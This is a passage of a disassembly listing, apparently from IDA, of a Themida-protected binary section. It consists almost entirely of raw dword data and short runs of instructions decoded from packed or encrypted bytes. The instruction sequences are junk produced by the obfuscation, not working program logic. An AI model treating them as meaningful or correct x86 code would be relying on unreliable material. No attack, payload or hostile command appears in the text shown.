		dd 0F64BCD1Ch, 496B0A98h, 86954E55h, 0AEDE50C6h, 7189C705h
		dd 4580452Ch, 12F93406h, 0CAFE016Eh, 0D5E93CEAh, 0FC7D30A6h
		dd 334C89EEh, 0A26A201Eh, 17E48024h, 36E2043h, 241DAE35h
		dd 58EA292Ch, 4D2F6352h, 7CBE2107h, 0FFCFAC5Ch,	2AB9D4C4h
		dd 18CCC303h, 0B0DA2179h, 0D10B3FD4h, 6E206EFh,	5E590CAAh
		dd 660C3048h, 1C4BB201h, 4A5FFA29h, 7133AE42h, 0F56804D6h
		dd 64C1B275h, 38136410h, 0E91A5D21h, 560C67E7h,	0A0507A2Eh
		dd 734FA190h, 34B97D20h, 34014828h, 21D8F103h, 0CBC24DA5h
		dd 6888C659h, 5A25AD49h, 1219B743h, 7045E54h, 0C7ADF139h
		dd 52E4969Eh, 6860BE2h,	0BEC7508Ah, 0D8A886B9h,	59CD3984h
		dd 177FEBA4h, 250C34CCh, 95119762h, 50464B6Bh, 0A0A46A04h
		dd 6815527Dh, 839D740Ah, 94653FC1h, 92C5C2A4h, 5999FC6h
		dd 59E196F9h, 4C700153h, 5AE95BD9h, 0F744C1A1h,	81DAC8D2h
		dd 3411CA05h, 0E0C04CBAh, 603F1A8Ch, 6E550CB1h,	0CD907D85h
		dd 0F63D0305h, 2AA10107h, 735A0802h, 5BDE0BEBh,	6A201052h
		dd 0E3810221h, 252309F4h, 0CB0EE356h, 407EE435h, 2FBFDC0h
		dd 0C16041F1h, 29E0DB0Bh, 744AE9D8h, 7C28B782h,	58B6288Fh
		dd 0B1813D02h, 0A6C404D6h, 0D108771Eh, 20E90456h, 0B718975Bh
		dd 18EB622Dh, 57FC7540h, 11C693C0h, 3E1EB231h, 1D896856h
		dd 4D806690h, 926AB7CEh, 73374C7Bh, 0BC603153h,	9C1B8968h
		dd 9008A03Ch, 17F79970h, 0FB845059h, 0D3568B0h,	52400A94h
		dd 0A2FB07E9h
		db 0C6h, 53h, 20h
; ---------------------------------------------------------------------------


loc_4E7C23:				; CODE XREF: Themida_:004E7C90j
		lds	ebx, [eax+ecx*8+1Ch]
		mov	eax, 0D945835Bh
		xor	eax, ecx
		test	[edx], dl
		mov	al, 43h
		sal	dword ptr [edi-16h], 1
		dec	edx
		dec	esp
		sbb	al, 0E7h
		db	2Eh
		scas	byte ptr es:[edi]
		or	[esi+ebx*2], dl
		add	al, 30h
		retn	0B866h
; ---------------------------------------------------------------------------
		db 0F1h
		dd 2C8E0288h, 9DD00F7Eh, 0C5685A02h, 65877E44h,	9285C337h
		dd 8601EB98h, 0EC66E326h, 6D5D9112h, 80565789h,	0C60CD63Ch
		dd 9661FC79h, 0EE312DC8h, 0EF9460C3h, 0C07DB5BAh, 0E16B49F0h
		dd 967C5810h
		db 19h,	85h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cdq
		dec	esi
		or	[esi], eax
		sub	al, 8Bh
		dec	ebx
		jno	short loc_4E7C23
		repne push esp
		db	26h
		xchg	eax, ebp
		pop	es
		test	ds:16D275D3h, dl
		cmp	[ebx+ebx*4+0], ah
		int	1Bh		; CTRL-BREAK KEY
		loope	loc_4E7CFA
		push	edx
		mov	edx, 142607B5h
		sub	al, 0E8h
		db	26h
		cmp	al, 1
		retn	6216h
; ---------------------------------------------------------------------------
		db 2Fh
		dd 77C54027h, 66601025h, 446C0B0Ch, 0C939074h, 23FD2F52h
		dd 20F18218h, 0D600096Fh, 0B5BD555Ah, 2D444817h, 5F14EE31h
		dd 28C78097h, 9311BBDh,	0F02AE9CEh, 0F312B7C2h,	0C096D22Bh
		dd 0EE6E910h, 12FEBE63h
		db 0DBh, 4Ah
; ---------------------------------------------------------------------------


loc_4E7CFA:				; CODE XREF: Themida_:004E7CA3j
		sub	[eax-16FAF906h], cl
		mov	ecx, 0B059F655h
		xor	eax, ecx
		mov	eax, ds:0EFF95A08h
		js	short loc_4E7D5B
		daa
		xor	[ecx], ecx
		jmp	near ptr 58B87587h
; ---------------------------------------------------------------------------
		dw 2DA7h
		dd 3CD2586h, 5C1447BBh,	3E048052h, 0BC70FB77h
		db 4Ch,	4Fh, 90h
; ---------------------------------------------------------------------------


loc_4E7D2B:				; CODE XREF: Themida_:loc_4E7DA7j
		pop	edi
		in	eax, dx
		adc	al, 75h
		or	[eax-3F1416F2h], esp
		arpl	[eax+7Ah], bp
		pop	edx
		push	esi
		xor	cl, ah
		add	cl, [edi+edx*8+0A952804h]
		pop	edx
		jo	short near ptr loc_4E7D68+6
		xchg	eax, ebx
		call	near ptr 8574D7Fh
		push	ss
		jmp	near ptr 5E99C4EDh
; ---------------------------------------------------------------------------
		dw 7256h
		dd 0A381F3C7h
		db 58h,	1, 0E8h
; ---------------------------------------------------------------------------


loc_4E7D5B:				; CODE XREF: Themida_:004E7D0Cj
		dec	ebx
		mov	esp, 2DE0E90Bh
		imul	edi, [eax-79h],	0AFE7E34h


loc_4E7D68:				; CODE XREF: Themida_:004E7D44j
		mov	byte ptr [eax+259BF3CEh], 7
		inc	ecx
		mov	[esi+4828F54Ch], ch
		pusha
		sbb	dl, [ebx+edi*4]
		dec	esp
		xor	eax, 31697AA2h
		xchg	eax, ebp
		push	esp
		mov	edi, 3E6346B5h
		jge	short near ptr loc_4E7DB0+5
		fyl2xp1
		and	ecx, [ecx+40h]
		test	eax, 0D682BF60h
		cmp	eax, [edi]
		sub	dl, 1
		outsb
		js	short loc_4E7DA7
		retn	1677h
; ---------------------------------------------------------------------------
		dw 8EE9h
		dd 199C93Dh
		db 1Ch,	0AEh, 19h
; ---------------------------------------------------------------------------


loc_4E7DA7:				; CODE XREF: Themida_:004E7D99j
		js	short loc_4E7D2B
		sub	byte ptr [ecx],	0F7h
		pop	esi
		xchg	eax, edx
		adc	esi, edx


loc_4E7DB0:				; CODE XREF: Themida_:004E7D87j
		sub	[edx+2C301859h], bh
		imul	edi, [eax+351E2A70h], 4AFD4047h
		pop	ss
		mov	eax, 6940CEB8h
		add	[edi+esi*8+3Fh], ebx
		add	eax, [esp+esi*2-0DA1F168h]
		arpl	[ecx+790D688Ch], sp
		mov	esi, [ecx]
		retn	0B072h
; ---------------------------------------------------------------------------
		db 82h,	1Bh, 47h
		dd 290DC009h, 0A47AF9D0h, 3FC6188Ch, 199744EDh,	1535988Fh
		dd 23691131h, 0E420BB4Ch, 833C26A0h, 978F413Dh,	1D3439AFh
		dd 0DBF68147h, 0D95EADD2h, 0BB3B28A1h, 415397D3h, 0D45B3F25h
		dd 71213E37h, 4B6E27A2h, 4660C305h, 5427505Ah, 908A4558h
		dd 0C1313133h, 477625E1h, 57928E7Eh, 3B698A90h,	390F8DFh
		dd 2736E825h, 3E12D66h,	0D9092A01h, 0F6890058h,	11B57FDCh
		dd 1076DBE9h, 0EC4C4628h, 81303359h, 4F2BCCDAh,	12012527h
		dd 0A00A0CAFh, 0D2F6807Fh, 0BE5ADAEEh, 0A545498Ah, 0C4856A60h
		dd 0E01CF765h, 0BE4F0CA2h, 4F7EB3CEh, 461167Bh,	15EAB41Ah
		dd 861616E8h, 61C8E0h, 29127AA2h, 0D0095DEAh, 0FE599E90h
		dd 7C27760Fh, 124C1A1Ch, 546984DAh, 105174A0h, 3427E9h
		dd 0D795FBEh, 0FC2B0504h, 2E627F35h, 408B4DF1h,	791B7C90h
		dd 54015A16h, 58EB9359h, 3D4D8B3Ch, 189C6C9h, 5C5E63D0h
		dd 7D35BC90h, 85EA4A7Fh, 0E9698372h, 0C6A060DAh, 7D211041h
		dd 57525800h, 536EA0BFh, 0FA89163Fh, 41A135Fh, 0DE1660h
		dd 60442BBAh, 0B04A4A4Eh, 0CAFD2D03h, 7A5F7861h, 45109D39h
		dd 1E53122h, 3E6C12Ah, 0CA87DEF7h, 0BDA09492h, 282C4245h
		dd 4C4D7B8h, 0FEC1E2D1h, 46B848Bh, 0A80667CFh, 0DD248416h
		dd 0FAFB8AC9h, 16555625h, 321F005Ah, 0F70DC50Eh, 4C42D22Ch
		dd 0E9133418h, 974849AAh, 8348215Bh, 57113EEBh,	0E9A1615Ch
		dd 0F0493C9Fh, 0ADE0E4E3h, 33952668h, 6BC8C8F0h, 0BF2626D8h
		dd 46F7445h, 0B48C447Fh, 0C2979E5Ah, 6801657Dh,	4B6819CBh
		dd 0CC78EAC4h, 0FEF25738h, 410A0312h, 76A2CAh, 1B62AEE7h
		dd 1836E96Ah, 371FCEA4h, 0FD663234h, 1327DD08h,	3807D15Bh
		dd 859620C1h, 4C34ED40h, 0BF5C8F7Bh, 4058CA4Bh,	465F5DC8h
		dd 92E14289h, 5916EC28h, 0FB0F085Fh, 317B692Fh,	4B304C9Fh
		dd 8AABBC44h, 905C06Bh,	2EB0086Eh, 8E897084h, 73537B48h
		dd 573EE9E9h, 1891B2AFh, 94EC82Bh, 591C3C4Fh, 0BA6114B0h
		dd 3C070444h, 5AD00172h, 8E0400E9h, 1E0C0610h, 40F18149h
		dd 0E921A219h, 0F3AA7D18h, 5D6E288Eh, 0C7C129A5h, 5C38F291h
		dd 0D3C9B95Eh, 94029051h, 256B10F6h, 0EDF68101h, 0EC1FDFBFh
		dd 0C4B4FA4Ch, 1B61044Fh, 179324A2h, 607EB300h,	0E24FE16Ah
		dd 144C964Dh, 5A2808EEh, 0E9C1173Bh, 38AB2D02h,	4AC61E4Ah
		dd 5CA50F14h, 26330067h, 0D8F777F3h, 714D0725h,	8940641Bh
		dd 24377083h, 8C37D03h,	2463F61h, 0E07BE30Ch, 0E6A26662h
		dd 0D10BBB5Eh, 444AF05h, 0CE1F4F6Ch, 8448242Bh,	3E20B34h
		dd 0FF49B04h, 2E3265Dh,	0E1609506h, 0ED25FA72h,	89B38482h
		dd 0E912F2FDh, 0A2925299h, 0D0AD32Dh, 0B887E159h, 0D094E2EFh
		dd 0ED0395EDh, 41DB6C26h, 5D584D9h, 1976801h, 46376751h
		dd 3A2AA070h, 0D1BAB728h, 3881D9AAh, 42716C20h,	5F9ED3EEh
		dd 7CEC325h, 0F7800706h, 4C94E2CCh, 769034C4h, 4868A9C3h
		dd 1B082842h, 0A9F7498Ah, 16B5C24Ch, 0B7E7E09Bh, 4F2C2312h
		dd 0BAFE0CF0h, 0A34044Bh, 0BC58C328h, 678D2628h, 1ECD6805h
		dd 588656D8h, 58CD9FBAh, 948373F9h, 0D5F35015h,	9D6CFDBCh
		dd 0F3544857h, 48DF3810h, 683E57D7h, 57E0AB52h,	982B1A49h
		dd 8FE933CAh, 64502159h, 392403C6h, 5F1D8C14h, 0BF39A020h
		dd 4FA70905h, 0FD08D329h, 38EB9808h, 2818E4C3h,	721E0F1Bh
		dd 31923E44h, 4CA7767Fh, 842E0912h, 95BB80F3h, 81219014h
		dd 22AECB05h, 68827679h, 6F878052h, 2FE9F329h, 0CD2C64D9h
		dd 1025B24Ah, 740D6228h, 40E95020h, 4A826941h, 655D51C9h
		dd 3FFA586h, 0AE3C0CC1h, 8B219AA2h, 0F38939BDh,	0E48C8A4Dh
		dd 3B05503Bh, 5D0EE973h, 0C9EB9E4h, 4335EC05h, 413A10E0h
		dd 0E5C1899Dh, 0DE97202h, 638619E7h, 980E6F16h,	5E76C6A4h
		dd 24A7021Eh, 0CD295046h, 80668E2h, 5598E059h, 5EC19DE7h
		dd 0FD52EF8Dh, 0DAE3BC49h, 13F5DED1h, 0D325E459h, 20BB52BEh
		dd 4015FB9h, 0E52C3Ch, 0C34D03BFh, 814F0013h, 0C7503AF7h
		dd 0CA4AE957h, 80EEA14Ch, 204E4147h, 864EC1B6h,	8A094C13h
		dd 0D9C38640h, 5211CF1Bh, 8813BAEAh, 0D11131CCh, 74841169h
		dd 5F7792C0h, 0F6273F72h, 847262F9h, 42D00ACBh,	2499EF80h
		dd 13B4882Ch, 7879B2EEh, 0ACBAD3FCh, 2B16812h, 6CC06DACh
		dd 0E9294830h, 900BD4Fh, 4D05EDC1h, 0F6F53D81h,	0F1061692h
		dd 859C08ABh, 0F59BC850h, 564E67B2h, 0E9093F2Ah, 92E3BFAh
		dd 0CC49A1C5h, 0CFB15824h, 40B9C66Bh, 6DE3133h,	232B96C9h
		dd 4CB8815Ah, 840106D8h, 0C1779517h, 0D0D070E0h, 56C32D07h
		dd 5250762Bh, 12D433h, 501C083h, 1BE84A2Fh, 61EF8E95h
		dd 2332E9F7h, 92A1B1ACh, 92A2A653h, 0DE138205h,	6885C7B8h
		dd 25A1F238h, 0C4A7303Fh, 18419502h, 0C1E4E358h, 3004B216h
		dd 725C0E9Ch, 987B2DE9h, 950D6079h, 2459BC4h, 49843D41h
		dd 61D18C2Bh, 8829F25Eh, 15A19611h, 0FCEAE007h,	29F08F65h
		dd 820B4BCh, 0CCCD7CBEh, 83C0743Ah, 49030127h, 0B53882F1h
		dd 5EB7DA64h, 685802A1h, 0D9C61677h, 3A55BB04h,	53C0342Fh
		dd 60EE18A0h, 0FB95471h, 0E9117047h, 0EA020A65h, 2E865B84h
		dd 3AD51760h, 95FD409h,	4C0C79DAh, 0BB05FB2Eh, 0D501DFDCh
		dd 0FC5C6182h, 9184444Dh, 28B7734Eh, 443333A6h,	0D066231h
		dd 0FD44D25Ch, 81295F60h, 2D5750EFh, 6E143ED3h,	28209598h
		dd 0C320245Bh, 2BC02FECh, 34CEEC1h, 5A167B58h, 73A06729h
		dd 73BF0C57h, 0CFB49E40h, 9901ED09h, 0B1818074h, 0C03C412Bh
		dd 0D66DA624h, 2332E96Ch, 0DC30607Ah, 0EB800578h, 738987BFh
		dd 85B5B551h, 0FB0CE133h, 0ED87DEDBh, 34FFD426h, 13174E95h
		dd 0A4DAC2E9h, 0FD7EF0h, 1E6692B6h, 0CB4AB353h,	7279E830h
		dd 213E6885h, 962BA6h, 7B09F183h, 434BE90Fh, 1EA05816h
		dd 0F1409587h, 0E098848h, 421CE9DCh, 41C4463h, 0B3A342B9h
		dd 7385D099h, 12C3C7Ch,	8201ED1h, 5A6800BFh, 1D03A5F3h
		dd 96683862h, 0F81DCC7Fh, 741F4213h, 407020C8h,	0D639F64Bh
		dd 6A8B380h, 5AF380BBh,	6DE92551h, 84BE0060h, 283F3A06h
		dd 620B80B9h, 0A3E97431h, 8A68E9C8h, 85B37249h,	48E82B79h
		dd 7F44B3D2h, 90180129h, 0D249720h, 92025538h, 60219EAEh
		dd 4D685AEDh, 0E90B824Bh, 6E593011h, 978E0649h,	610D9A6Bh
		dd 3C90B01h, 3ED4EA41h,	0BF98AC22h, 0E84C3512h,	5F3C5D1Fh
		dd 77049313h, 0A117CF5Bh, 0A7589362h, 8E900ED7h, 0EC969E5Fh
		dd 7F6C0AEEh, 1DF42CB6h, 61FE85C2h, 0A8E61F29h,	141CD008h
		dd 0B3565B16h, 5FC81086h, 0F22B2A50h, 0C03076B0h, 0C7889708h
		dd 8527E958h, 3034E6D9h, 0E28DF132h, 0DF265695h, 0E600E354h
		dd 355E9227h, 9E3E02D1h, 58C2090Ah, 0A920E854h,	2F413902h
		dd 56D68992h, 7AD700D8h, 3BE93508h, 5B82099Fh, 4CAABE1Bh
		dd 0F100B599h, 90C180AAh, 49D12825h, 9E540254h,	12E4C4E5h
		dd 0BBD9C035h, 722702D8h, 390F70C4h, 0A4015784h, 0DFA9CE8h
		dd 0E974023Eh, 6574440Ch, 7E6852E0h, 74CD3449h,	0FBC581B2h
		dd 78E9ECE5h, 0BA000CB6h, 101F659Ch, 73A69029h,	0B60D001h
		dd 3F954460h, 54825735h, 15E2E97Dh, 14CEB404h, 25004AFEh
		dd 6B255FB9h, 0E1C10946h, 0E2804108h, 7142476h,	59CB890Dh
		dd 189CBE31h, 8CEB49D7h, 0A0BD9574h, 335C2A4Ah,	0B2D654DDh
		dd 0C440268h, 49594218h
		dd 0C3AA5540h, 8920060Eh, 0C996FECEh, 18B4CE44h, 0DE04F7C2h
		dd 4AF1E972h, 29A23416h, 0E0B9E912h, 6812ADCEh,	0FD373648h
		dd 44436FE2h, 7E9307B5h, 0E0682908h, 5B6AE84Bh,	0E9A03151h
		dd 51C841DDh, 0A75E022Fh, 569759EBh, 0D6F7003Fh, 7231F187h
		dd 0F004A1CEh, 2FE9C6E0h, 0EB18740Eh, 2196C703h, 1733464Bh
		dd 0F628E168h, 20C14A33h, 0E1706F45h, 3CEB6BA0h, 0E9E2E779h
		dd 0B7E778BAh, 805E1884h, 8C3F25B7h, 0F9897A3Dh, 4D1E2D00h
		dd 0F80145DBh, 50D02FE9h, 0AF0F4B38h, 7A81C85Bh, 2900B3F4h
		dd 90B75EF2h, 800CDC9Dh, 5825BA66h, 5A3A26A3h, 59C8330Ah
		dd 0C1E5D808h, 90517D92h, 5C469Eh, 0D0946F95h, 56E2D100h
		dd 5FAC6857h, 94794927h, 60159EEBh, 0D368CABDh,	0CB26958h
		dd 0D4C11CBh, 972502BEh, 0DA9E9B3h, 6041CAFh, 1763BF6Eh
		dd 0C4119258h, 0ED0C20E4h, 70B6813h, 68ADD34h, 5E838A5Ah
		dd 75BEA184h, 0E72E804h, 49D48850h, 96382E1h, 0E4030BB7h
		dd 97A473B2h, 367C899Dh, 518942Ch, 9D59CD7Dh, 41F28B9Bh
		dd 88079B58h, 0D4285AF4h, 5AE20C3Eh, 0C21DD48Fh, 0D5451707h
		dd 63806F7Fh, 210FCBE6h, 1F9E50D4h, 1562050h, 6112D184h
		dd 0D10FEF09h, 829192B0h, 0C5C030CEh, 33B51380h, 0EA74D282h
		dd 0C33276C0h, 8B03163Ah, 0A53F46E1h, 1496066Ah, 0C743C51h
		dd 9D4B5016h, 0E996DD18h, 9FD2928Bh, 9B406B1Ah,	5B0C482Fh
		dd 4DBF718h, 5EB34C1h, 365DC00Ah, 0F1178D3Eh, 0F42DDD01h
		dd 6960F5EDh, 804CBEBBh, 23DF0BDAh, 4AC9EBD1h, 0CD740408h
		dd 0A5DA012h, 6031D240h, 154A32D8h, 6EC11E26h, 7AE13FA6h
		dd 1798CBD8h, 172FF544h, 31EF82E3h, 0B80F267Eh,	0AD638FC6h
		dd 0FC707B93h, 0DD390DE4h, 4265D74h, 0EAD48007h, 0BEA88EE9h
		dd 54B88FBBh, 8B721D66h, 0E40B9F0Dh, 5C82EDF1h,	445EF021h
		dd 8953169Eh, 173F6E3h,	5D596B4Dh, 2F20D1F7h, 0C0459E07h
		dd 574E3E15h, 0D3091390h, 46F13Bh, 0CEBD55E6h, 41C25C16h
		dd 54F0C503h, 0F5B03B35h, 677506Dh, 5DE9010Bh, 0EE20605Ah
		dd 0F449B01Ah, 35054BC4h, 7824815Ch, 0BDC706BAh, 3AFD1A80h
		dd 2926158Ch, 4A3F71D0h, 8C955AC4h, 27A46D9h, 3C55E970h
		dd 0BAD1F603h, 24327C38h, 7B8F0E6Dh, 5143E68h, 3285A07h
		dd 1FB70ABBh, 1E23645h,	446B3541h, 9287DA87h, 0C702A931h
		dd 585C7AE9h, 7E8B541Dh, 12B74C1Bh, 0B64FCB68h,	2D1B606Ah
		dd 73940185h, 7DE84C16h, 0A301EA2Eh, 0E43437CFh, 55C8C7B9h
		dd 77A10271h, 8540EE68h, 83801A75h, 0B9F7A6E8h,	0C83C6A6h
		dd 0C4BCE916h, 0DC889547h, 0A2098829h, 0B1BA76C9h, 6B6C92h
		dd 0B5A3201h, 17EF685Eh, 0A80B956Eh, 486D9426h,	4BB1E98Eh
		dd 0CA1C4709h, 0B0503428h, 739AA003h, 0D4C7D85Bh, 384E855h
		dd 61F8DA04h, 0FC00B00h, 214CA584h, 7ECD2C2h, 6DC17BB1h
		dd 3BA4014Ch, 0CE0111BDh, 0EBEE5E30h, 58810F3Ch, 0FE898076h
		dd 4D5E8542h, 2F175C69h, 0C4AF09Bh, 7F16AD8Fh, 12BBE3B0h
		dd 0CCB851FCh, 2A3E48C1h, 1F407E0Ah, 0F5D5C1B3h, 5FF80489h
		dd 0BC58C201h, 0FF6DA6E5h, 4C352F62h, 2095AC67h, 0ECC00F0Ah
		dd 0F3E45302h, 0D3E4AD2Dh, 43C498ADh, 2E0DA764h, 0E86F7A50h
		dd 0EB2809F5h, 0DF9A9348h, 0B3FB1C95h, 0CFE9849Dh, 0C064D406h
		dd 77EB810Bh, 24C7013h,	922E48B8h, 4C19AF08h, 20437142h
		dd 0EF5FE7A0h, 98C3016h, 3A1141A4h, 1856AD31h, 0ED1ADD3Ah
		dd 587B24A3h, 5D54550Fh, 0C2B34650h, 12689C73h,	13F95C30h
		dd 833024EBh, 45124939h, 11D2AF9Bh, 0EAA5687h, 514B606Dh
		dd 0BD18B8B3h, 8161FDE9h, 0F710DE2h, 32B427F4h,	5EF31C01h
		dd 2D53D8D6h, 5CC151CAh, 3E799368h, 414F5731h, 5F773AE9h
		dd 2393800h, 5BFFE949h,	676818A8h, 0CB24124Ah, 499F55B8h
		dd 95306D44h, 31BD5680h, 81509281h, 996D6C68h, 0C8C5AF51h
		dd 0CBDF642Fh, 72955720h, 24FEE989h, 0C5804E30h, 28D91A77h
		dd 0FE948923h, 91BA5A6Dh, 22224961h, 84B69655h,	505FFD00h
		dd 805A2DB8h, 2EE96109h, 5DE1147h, 2D021062h, 45DD4055h
		dd 0F00D056h, 4F225B75h, 91F960E9h, 61D2C381h, 43268A18h
		dd 0BDF880Eh, 97E99462h, 35561A29h, 0B51DE550h,	0DE09E894h
		dd 0A91A685Bh, 952B4CDBh, 312E6D64h, 0AE16ADC2h, 5AD76C44h
		dd 0B1CFE9C3h, 4FF8691Dh, 1D1CD3B1h, 0DBE4CB55h, 705F2826h
		dd 343AB905h, 82044301h, 7BB0CC9h, 8F35D07Ah, 0F1A4F46h
		dd 756C7807h, 0D3F49349h, 0AD569F84h, 34697FF1h, 0B7B0754Ch
		dd 0C7398050h, 6EF7984Eh, 0FDE96406h, 0B0886E34h, 1E849D37h
		dd 455CE156h, 0A516A9BDh, 40D0EF88h, 0D3256857h, 80E0F14Ch
		dd 0E6C081B6h, 0B1715103h, 0C312E917h, 95562388h, 0C5AC6AEDh
		dd 1B284D12h, 5FF93F89h, 735F6858h, 44ACD2B1h, 112AD9Eh
		dd 0B022F4CFh, 0DD612014h, 7BE32606h, 831CF729h, 141C4208h
		dd 5E8BB44Eh, 0D3B5214Ah, 0E509769Ch, 0B62017DAh, 9617ACCBh
		dd 84AE1211h, 0D344FA21h, 0ECA12C9Ch, 3858D92Bh, 0A2B72DC2h
		dd 0C00959DFh, 4AE9CB46h, 0E08013B0h, 5504F399h, 119C9B5h
		dd 4DE940C8h, 810015E2h, 0B5FA1F7h, 0EC04734h, 0BAA0D9CEh
		dd 92FE7C29h, 3F6096C9h, 6D03ED8Bh, 3B212C87h, 892DEE7h
		dd 0B62124F1h, 32A32D7Ah, 0B30F169Dh, 0ACE36921h, 2F35BE00h
		dd 464ABB14h, 2DE004EFh, 0ABF0D3h, 58C30141h, 0C4EC568h
		dd 0A30C32CDh, 1377D6D3h, 0B53E8097h, 0EB048863h, 5BDA2059h
		dd 0AD147AE8h, 4977192Fh, 6809FF31h, 9FCC1C71h,	0B95064B6h
		dd 872C13A9h, 82BA5367h, 957D56E6h, 0BA188B7Dh,	0F3DB00DAh
		dd 4C16E1D4h, 1BF23596h, 0A9D9E09Eh, 512480B2h,	0F58008B5h
		dd 76CDE6EFh, 0FDED38DBh, 0BC49D86Bh, 0DE0D7002h, 78545280h
		dd 3E51255Ah, 10CAA21Bh, 0B33BBDD8h, 3F94F9CAh,	0CE235617h
		dd 0F6098C4Eh, 41158911h, 7E59CB55h, 8CB13974h,	9CB1047Bh
		dd 9784C803h, 14956312h, 554B4300h, 2855BBDh, 0EB31A974h
		dd 2A48095Dh, 660393C5h, 0EDC10C84h, 4F30CF06h,	98867A31h
		dd 2BAD4128h, 7E9CABC0h, 751AB025h, 2E6D13F5h, 2532AD63h
		dd 0E95998FBh, 742F4EF5h, 34BA8928h, 0A3480FDBh, 0AB509D40h
		dd 0C9AE512Ch, 0BBE9D1D0h, 0FED54AD5h, 0F8802DFCh, 89766F3Fh
		dd 0A5B182Eh, 2CD39DE2h, 51F6F4Ch, 2B1335C5h, 0CEC0EC4h
		dd 0E5BA52B0h, 3E886D06h, 810BE9BDh, 0C82ECAECh, 597B68F4h
		dd 4A1E163Ah, 0E5E82DE5h, 8B931Ch, 6F6E1116h, 63640AE9h
		dd 29FB3B1Bh, 8B622BE9h, 89315EC2h, 0A47BE289h,	0E958043Fh
		dd 0C1040E19h, 633A81EAh, 0F48000F3h, 0E7283212h, 26D80D26h
		dd 6872E2BCh, 0F534E93Ah, 9301BC49h, 749F5901h,	0FA69C3F1h
		dd 4F20C129h, 652C24C0h, 1E0F35D8h, 0B65A0634h,	0CC0B5E27h
		dd 17140Ah, 130B7AEFh, 0E3C0972Ah, 0EC9505CAh, 23145890h
		dd 6006E9E0h, 4EDCE495h, 82AFA2CCh, 7607C1E9h, 0A3E56960h
		dd 25BE5607h, 0C4C376D4h, 0DFAA03DEh, 31FF89DBh, 14F6E9C0h
		dd 73FED9Fh, 0E468882Ch, 0C4C3A864h, 2FB2D6BAh,	557B934Eh
		dd 385C0CEAh, 725DBF01h, 824012CBh, 60882ADAh, 734C7E44h
		dd 210E7432h, 7AF75BDFh, 78656004h, 17150079h, 0AD685053h
		dd 52183F01h, 0A8700558h, 0BC894CF8h, 293A3132h, 0CC01A3C1h
		dd 30BC6EE9h, 5DF33252h, 2B63BB18h, 0DA1892B5h,	53713774h
		dd 825177E3h, 3BD52F8Eh
		dd 64D392C3h, 0A9CF2046h, 59442932h, 256F5695h,	8398C0CCh
		dd 98B5CC92h, 39C3805Dh, 518028D7h, 0DBB05052h,	304A47B6h
		dd 9F88B2E0h, 81DF03C1h, 894EC53Bh, 64EC5CBCh, 9920B716h
		dd 840FC23Bh, 627F8A4Dh, 82112BAh, 52CA0DC7h, 0A6016ED7h
		dd 317B6E86h, 7E053669h, 0BCCE8491h, 0E95609AEh, 74E362C8h
		dd 78FCB54h, 4A208FE9h,	7E6C15Dh, 201EEE6h, 0F41F681h
		dd 18903EC3h, 9807F08h,	585AECF0h, 0D85EE029h, 0E6417E10h
		dd 822DCA21h, 0AC92A04Eh, 5EC8094Ah, 65042568h,	80220418h
		dd 50BDEF00h, 3E93DB4h,	0ED1897FEh, 8482D759h, 4991C5D9h
		dd 9BE3E630h, 0FF3ABDEh, 86D3F608h, 1F686601h, 0F2C82A61h
		dd 0E7BD4FA4h, 0C15350F5h, 0C0F0E76Eh, 629F4811h, 0BA575053h
		dd 0BCE9966h, 6353D865h, 0D913599Fh, 94B5DA47h,	2F14E806h
		dd 0CD96DADEh, 0C7D387A2h, 1209BEA9h, 68676E6Ah, 0B4153083h
		dd 991AC774h, 0AB0013F9h, 4E4C3B20h, 1804B5F7h,	56010F26h
		dd 2E43FDF1h, 5F903BA8h, 0BE94E124h, 0BA0507A6h, 7D607D76h
		dd 3B94BFF7h, 0FDB0B05h, 0C654B085h, 41F01040h,	25DD5E24h
		dd 0CF50589Ah, 61CCE925h, 0F3D85B2Dh, 38E59D31h, 0F4B95180h
		dd 245D2169h, 0A170E8E9h, 234A9Ah, 44D16626h, 734E5C1h
		dd 0D3C00945h, 5E898084h, 53103559h, 0E2E3902Fh, 15E3FFF6h
		dd 81F8582h, 0D5980B8Ch, 6884B4D9h, 639171E8h, 905B628h
		dd 4456A735h, 0D685560h, 51519C6Bh, 3C92F75Dh, 0CFA1F1E6h
		dd 2BE3E651h, 1090A2CCh, 0F04A1454h, 8203600h, 7B2190F3h
		dd 171E988Dh, 82B4E9FAh, 115D5C65h, 91AF7D93h, 2E71A00Bh
		dd 5E764Bh, 0E969E208h,	0F1D23718h, 0C41212A6h,	0F2B9F434h
		dd 5F635009h, 10286A41h, 4A572128h, 11F2E61Ch, 306FF243h
		dd 0A35E2004h, 36680904h, 3D4CC417h, 90185E54h,	53A07F44h
		dd 209EC697h, 0B43F438Eh, 5AB5939Fh, 1F565E8h, 4E7DAF08h
		dd 0CDDB700Ah, 301B8E0Bh, 0B5ED8072h, 0B06A2867h, 180709F2h
		dd 4AD41056h, 2E73708h,	269B6851h, 7D7AF7FCh, 0C17F1C96h
		dd 8BFAD98Ah, 8C74F101h, 0C2BE546Bh, 5359A6AAh,	6C9A6806h
		dd 3F0720FDh, 43AB00Fh,	0C152256Dh, 991CE953h, 0ECCA31C0h
		dd 7EF801EDh, 8E00B5Fh,	6B415DE9h, 847AA05Eh, 0A8078A0Fh
		dd 2953C972h, 799A8D0Ah, 4792D12Bh, 158C417h, 0DE8D5C5Ah
		dd 0BBA40C05h, 0A2CAFBE9h, 40386AEAh, 0B50EAE66h, 8B306C99h
		dd 84525BFBh, 48EDF1D4h, 0C6A5102h, 0A8E80104h,	5F82BE1Fh
		dd 0D0AF5685h, 3DA468C3h, 0A9E629AAh, 50E6504Bh, 3690310h
		dd 0F3AE5BDh, 0CC2CD129h, 0C603EB3Dh, 0DC988255h, 0C26978E2h
		dd 0E88C2E5Ch, 75109DACh, 754C5851h, 5835113h, 2D5AF908h
		dd 51F2E276h, 225D45C6h, 63C0014Bh, 94A9CE57h, 0BFC1DBE3h
		dd 61502F2Dh, 40022DAEh, 9A280AB5h, 0AB683774h,	0B367B257h
		dd 2C9831FAh, 13274528h, 80104109h, 9C42166Ch, 770604C5h
		dd 9545BA01h, 0A1B2DC8h, 5A503C33h, 850FB4C0h, 4F8090B1h
		dd 17BB86A3h, 5CC102E5h, 5E41B80Ch, 0BB3EC053h,	0E768C88Bh
		dd 3112E8D0h, 8A6819C8h, 0D652CD25h, 38D78EEEh,	7288DD8Ch
		dd 877402EEh, 5079E901h, 0B8B5B496h, 4E5DEBC6h,	93F5E253h
		dd 66ACD3BCh, 894963BCh, 0D37BA8F8h, 98D36D09h,	0C2BE59h
